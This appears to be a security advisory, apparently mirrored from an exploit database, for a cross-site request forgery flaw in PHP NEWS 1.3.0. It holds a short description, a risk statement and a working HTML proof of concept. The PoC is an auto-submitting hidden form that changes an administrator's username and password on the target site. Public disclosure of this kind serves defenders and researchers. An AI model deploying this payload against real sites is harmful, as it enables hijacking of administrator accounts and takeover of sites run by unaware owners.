PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)

🗓️ 16 Oct 2016 00:00:00Reported by Meryem AKDOĞANType

PHP NEWS 1.3.0 CSRF vulnerability allows admin password chang

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# Exploit Title: PHP NEWS 1.3.0 - Cross-Site Request Forgery (Add Admin)
# Author: Meryem AKDOĞAN
# Google Dork: -
# Date: 16/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: http://newsphp.sourceforge.net
# Software Link: https://sourceforge.net/projects/newsphp/
# Version: 1.3.0
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DETAILS
========================================

PHP NEWS 1.3.0 versions is vulnerable to CSRF attack (No CSRF token in
place) meaning that if an admin user can be tricked to visit a crafted URL
created
by attacker (via spear phishing/social engineering), a form will be
submitted to (http://sitename/path/index.php) that will change admin
password.

Once exploited, the attacker can login to the admin panel using the
username and the password he posted in the form.


RISK
========================================

Attacker can change admin password with this vulnerablity



TECHNICAL DETAILS & POC
========================================

<html>
  <!— CSRF PoC —>
  <body>
    <form action="
http://site_name/phpnews/index.php?action=modifynewsposter3" method="POST">
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="newusername" value="meryem akdogan" />
      <input type="hidden" name="username" value="meryem" />
      <input type="hidden" name="password" value="meryem123." />
      <input type="hidden" name="password2" value="meryem123." />
      <input type="hidden" name="email" value="b&#64;gmail&#46;com" />
      <input type="hidden" name="language" value="en&#95;GB" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

========================================

16 Oct 2016 00:00Current

7.4High risk

Vulners AI Score7.4